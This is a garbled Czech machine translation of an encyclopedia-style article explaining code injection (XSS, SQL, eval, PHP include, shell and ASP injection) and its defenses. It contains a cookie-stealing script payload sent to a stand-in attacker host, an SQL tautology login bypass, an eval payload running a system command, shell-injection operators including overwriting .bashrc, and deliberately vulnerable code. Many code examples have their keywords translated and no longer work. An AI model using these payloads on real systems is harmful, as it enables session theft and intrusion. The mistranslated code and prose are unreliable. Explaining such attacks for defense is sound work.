Code_injection
Injekce kódu
je využívání počítače chyby , které je v důsledku zpracování neplatných dat. Kód injekce mohou být použity útočník představit (nebo "napíchnout") kódu do počítačového programu pro změnu průběhu popravy. Výsledky injekce útoku kód může být katastrofální. Například, injekce je kód používaný některými počítačových červů množit.Webový server má
návštěvní kniha skript, který přijímá malé zprávy od uživatelů, a obvykle dostává zpráv, jako jsouVelmi pěkné stránky!
Nicméně nebezpečný člověk může vědět o zranitelnosti injekce kódu v knize návštěv, a zadá zprávu, jako je
Pěkné stránky, myslím, že to vezmu.> <script> Document.location = 'http://some_attacker/cookie.cgi?' + Document.cookie </ script>
Pokud jiný uživatel prohlíží stránku, pak injekce kód bude vykonán. Tento kód může dovolit útočníkovi vydávat se za jiného uživatele. Nicméně tato stejná softwarová chyba může být omylem spustil nenáročné uživatele, který způsobí, že se stránky zobrazí špatně HTML kód.
Že příspěvek byl úžasný,>:)
Většina těchto problémů souvisí s chybným předpokladům o tom, co vstupních údajů je možné, nebo účinky speciálních dat.
Klasické příklady nebezpečných předpokladů softwarový vývojář mohl udělat o vstup do programu patří:za předpokladu, že
za předpokladu, že pouze číselné znaky budou zapsány jako vstupní
za předpokladu, že vstupní nikdy nepřekročí určitou velikost
za předpokladu, že číselné hodnoty jsou v horní a dolní meze
za předpokladu, že klient poskytnuté hodnoty stanovené serveru (např. skryté
za předpokladu, že je v pořádku vybrat ukazatele nebo pole indexů od vstupu
za předpokladu, že vstupní nikdy poskytnout nepravdivé údaje o sobě, nebo související hodnoty, jako je velikost souboru
Určité typy injekce kódu jsou chyby v interpretaci, přičemž zvláštní význam pouhý vstup uživatele. Podobné interpretace chyby existují mimo svět výpočetní techniky, jako jsou rutinní komedie
Kdo je na první? . V rutinní, je neschopnost odlišit vlastní jména z pravidelných slov. Podobně, v některých typech injekce kódu, je neschopnost odlišit od uživatelů pomocí systémových příkazů.Použití injekce kódu je typicky zobrazil jako zlovolnou akci, a to často je. Kód injekční techniky jsou populární v systému
hackování nebo popraskání k získání informací, zvýšení úrovně oprávnění nebo neoprávněného přístupu k systému.Kód injekce mohou být použity k škodolibě:
Libovolně měnit hodnoty v databázi přes typu injekce kódu tzv.
Nainstalovat
Instalovat
Krást setkání / soubory cookie z webových prohlížečů pomocí
Někteří lidé mohou použít kód injekci s dobrými úmysly. Například, změna nebo ladění chování programu, nebo systém, pomocí injekce kódu může "trik" systém do chovat určitým způsobem, aniž by zlý úmysl.Kód injekce by mohla, například:
Zavést užitečné nový sloupec, který nebyl uveden v původním návrhu stránky s výsledky vyhledávání.
Nabízejí nový způsob, jak filtr, objednávky, nebo skupinu dat pomocí pole není vystavena ve výchozím funkce originální design.
Někdo by mohl uchýlit se k tomuto druhu práce-asi proto, že jiné způsoby, jak na úpravu softwaru, aby fungovaly jako žádoucí:
Ukázalo jako nemožné, nebo
Jsou příliš drahé, nebo
Staňte se příliš frustrující nebo bolestivé.
Tato technika kódu injekce je považována za méně robustní pak vlastní modifikace kódu, a je často nazýváno účinnou improvizaci nebo
hack .Někteří vývojáři umožňují či dokonce podporují používání kódu injekce k "posílení" jejich software, obvykle proto, že toto řešení nabízí levnější způsob, jak realizovat nové nebo specializované funkce.Nežádoucí účinky a důsledky mohou nezvěstná, bohužel, být velmi nebezpečné.
Dokonce i dobře míněné-použití kódu injekce se nedoporučuje vůbec.
Někteří uživatelé mohou provádět unsuspectingly kód injekci, protože přínos to pro program nebyl považován ten, kdo byl původně vyvinut systém. Například:
To, co uživatel může považovat za platné vstupní může obsahovat token znaky nebo řetězce znaků, které byly vyhrazeny vývojář mít zvláštní význam (možná "a" in "a Shannon Jason", nebo uvozovek jako v "'Slugger' McCracken Bub ").
Uživatel může podat chybně soubor jako vstup, který je řešen elegantně v jedné aplikaci, ale je toxický pro přijímací systém.
Chcete-li předejít problémům injekce kódu, využít
zabezpečené vstupní a výstupní manipulaci , jako jsou:Vstupní validace
Unikat nebezpečné znaky. Například v PHP, pomocí
htmlspecialchars ()
funkce pro bezpečné výstup textu ve formátu HTML, a mysql_real_escape_string ()
se izolovat údajů, které budou zahrnuty do žádosti SQL, na ochranu proti SQL Injection. Vstupní kódování
Výstupní kódování
Jiné kódování praktiky, které nejsou náchylné k injekce kódu chyby, jako například "parametrizované dotazy SQL" (také známý jako "připravené prohlášení" a někdy "vázané proměnné" nebo "vázané hodnoty").
Modulární shell odloučení od jádra
Řešení výše uvedené se týkají především on-line injekci HTML nebo kód skriptu do server-side aplikace. Jiné přístupy je třeba brát ale když máte co do činění s injekcí uživatelského kódu na počítači uživatele, což vede k útokům zvýšení úrovně oprávnění. Některé přístupy, které jsou využívány k detekci a izolovat řízené i neřízené kód injekce jsou:
Runtime obrázek hash validace - zachytí hash části nebo úplný obraz spustitelného nahraje do paměti, a porovnat ji s uloženými a očekávané hash.
Například, zvažovat webové stránky má dvě pole, která uživatelům umožňuje zadat uživatelské jméno a heslo. Kód za stránku bude generovat
SQL dotazu pro kontrolu hesla proti seznam uživatelských jmen:SELECT UserList . Přihlašovací jméno Z UserList KDE UserList . uživatelské jméno = 'Uživatelské jméno' A UserList . hesla = 'Heslo'
Pokud tento dotaz vrátí všechny řádky, pak umožněním přístupu. Nicméně, pokud se zlými úmysly uživatel zadá jméno a platný napíchne nějaký validní kód (
"heslo 'nebo '1' = '1"
), do pole Heslo, pak výsledný dotaz bude vypadat takto:SELECT UserList . Přihlašovací jméno Z UserList KDE UserList . uživatelské jméno = 'Uživatelské jméno' A UserList . hesla = 'heslo' nebo '1 ' = '1 '
Ve výše uvedeném příkladu, "Heslo" Předpokládá se, že prázdné nebo nějaký neškodný řetězec. "
'1 '= '1'
"bude vždy věrný a mnoho řádků budou vráceny, a tím umožnit přístup.Tato technika může být zdokonalena, aby více příkazů k běhu, nebo dokonce nahrát a spustit externí programy.
Steven M. Christey na
Mitre Corporation navrhuje tento název pro třídu injekce zranitelnosti kódu.Eval injekce zranitelnost nastane, když útočník může ovládat všechny nebo část vstupního řetězce, který je vložen do
eval
()
volání funkce. $ Myvar = 'somevalue' , $ x = $ _GET [ 'arg' ] ; eval ( '$ myvar =' . $ x . ';' ) ;
Argument "
eval
", budou zpracovány jako PHP, takže další příkazy mohou být připojeny. Například, pokud "argumenty" je nastavena na " 10; systém ('/ bin / echo uh-oh')
", další kód je běh, který spustí program na serveru, v tomto případě" / bin / echo
".Jak jsou definovány v
"dynamické vyhodnocování zabezpečení v aplikacích PHP" : PHP podporuje "proměnné veličiny", což jsou proměnné nebo výrazy, které hodnotí se jmény dalších proměnných.Mohou být použity dynamicky měnit proměnnou, která je přístupná nebo soubor během provádění programu. Tento výkonný a šikovným prvkem je také nebezpečné.Počet žádostí mají kód, jako je například následující:
$ Safevar = "0" ; $ param1 = "" ; $ param2 = "" ; $ param3 = "" ; # moje "registr globals" pro param [1,2,3] foreach ( $ _GET as $ key => $ value ) { $ $ key = $ hodnota ; }
Pokud se útočník poskytuje "
safevar = špatný
"v řetězci dotazu, pak $ safevar
bude nastaven na hodnotu "špatné".Následující příklady PHP-bude vykonávat funkci uvedenou v žádosti.
$ Myfunc = $ _GET [ 'myfunc' ] ; $ myfunc ( ) ;
a:
$ Myfunc = $ _GET [ 'myfunc' ] ; $ { "myfunc" } ( ) ;
Vezměme si tento program PHP (která zahrnuje soubor určený na požádání):
<Php? $ color = 'modrá' , pokud ( isset ( $ _GET [ 'color' ] ) ) $ color = $ _GET [ 'color' ] ; vyžadují ( $ barvu . 'php.' ) ; ?>
<Formulář metoda = "get" > <vyberte jméno = "COLOR" > <možnost hodnota = "red" > červená </ option > <možnost hodnota = "blue" > blue </ option > </ select > <input typu = "submit" > </ form >
Vývojáři mysleli, že toto by zajistilo, že pouze blue.php a red.php mohl být načten. Ale jak někdo může snadno vložit libovolné hodnoty v
COLOR
, je možné vložit kód ze souborů:
| |
| |
| |
|
Shell Injekce je pojmenovaný po
shelly Unixu , ale platí pro většinu systémů, které dovolí softwaru programově spustit příkazový řádek . Typické Shell Vstřikovací funkcísystému ()
, StartProcess ()
, java.lang.Runtime.exec ()
, System.Diagnostics.Process.Start ()
a podobné API.Podívejme se na následující krátké PHP program, který běží externí program s názvem
funnytext nahradit slovo uživatel poslal s jiným slovem.<? Php passthru ( "/ home / user / phpguru / funnytext" . $ _GET [ 'USER_INPUT' ] ) ; ?>
Tento program může být aplikován v několika způsoby:
`Příkaz` provede příkaz .
$ (Command) bude spouštět příkaz .
; Příkaz provede příkaz , a výstup výsledku příkazu.
| Příkaz provede příkaz , a výstup výsledku příkazu.
& & Příkaz provede příkaz , a výstup výsledku příkazu.
| | Příkaz provede příkaz , a výstup výsledku příkazu.
> / Home / user / phpguru / .bashrc přepíše soubor . bashrc .
</ Home / user / phpguru / .bashrc pošle soubor . bashrc jako vstup do funnytext .
PHP nabízí escapeshellarg
()
a EscapeShellCmd
()
provádět kódování před voláním metody. Nicméně, není vhodné věřit těchto metod musí být bezpečné - též ověří / dezinfikuje vstup.
Hlavní článek: Cross-Site Scripting
HTML / Skript injekce je oblíbené téma, běžně nazývané "Cross-Site Scripting", nebo "XSS". XSS odkazuje na injekci chybu, kdy je vstup uživatele na web skript nebo něco podél těchto linek umístěné do výstupního HTML, bez kontroly pro HTML kódu nebo skriptování.
Dva základní typy jsou následující:
Tento typ XSS chybu, je méně nebezpečné, jako uživatelský vstup je umístěn v dynamicky generované stránky. Žádné změny nejsou provedeny na serveru.
Tento typ je mnohem nebezpečnější, protože vstup je napsáno na statickou stránku, a jako takový, je trvalé.
Podle článku
[ 6 ], ve Velké Británii tech stránkách The Register , HTML injekce může dojít také v případě, že uživatel má infikovaných DLL na jejich systém. Článek cituje Roger Thompson, kteří tvrdí, že "oběti 'prohlížečů jsou ve skutečnosti, návštěva PayPal webové stránky nebo jiné určené URL, ale soubor DLL, který připojí sám sebe k IE řídí číst a měnit html během přepravy. Článek zmiňuje phishingový útok pomocí tohoto útoku, který dokáže obejít IE7 a Symantec se snaží odhalit podezřelé weby."ASP Injection", "PHP Injection" apod. jsou razil termíny, které se vztahují na různé typy útoků injekce kódu, který útočníkovi umožnit dodávky kód do skriptování na straně serveru motoru. V případě "ASP injekce", skriptování na straně serveru je motor Microsoft
Active Server Pages , add-on pro Microsoft IIS.V praxi, ASP injekce je buď využití
dynamické vyhodnocování zabezpečení , Včetně Soubor Vstřikovací nebo podobné injekce zranitelnosti kódu.Příklad:
<% Pokud není IsEmpty ( Žádost ( "username" ) ) Pak Const ForReading = 1, ForWriting = 2, ForAppending = 8 Dim FSO, f Set FSO = CreateObject ( "Scripting.FileSystemObject" ) Set f = FSO. OpenTextFile ( Server . MapPath ( "userlog.txt" ) , ForAppending, True ) f. napiš žádost ( "username" ) & vbCrLf f. blízko Set f = nic Set FSO = Nic %> <h1> Seznam přihlášené uživatele: </ h1> < pre> <% Server . spustit ( "userlog.txt" ) %> </ pre> <% Else %> <form> <input name="username" /> <input type = "submit" name = "submit" / > </ form> <% Konec Pokud %>
V tomto příkladu je uživatel schopen vložit příkaz namísto uživatelského jména.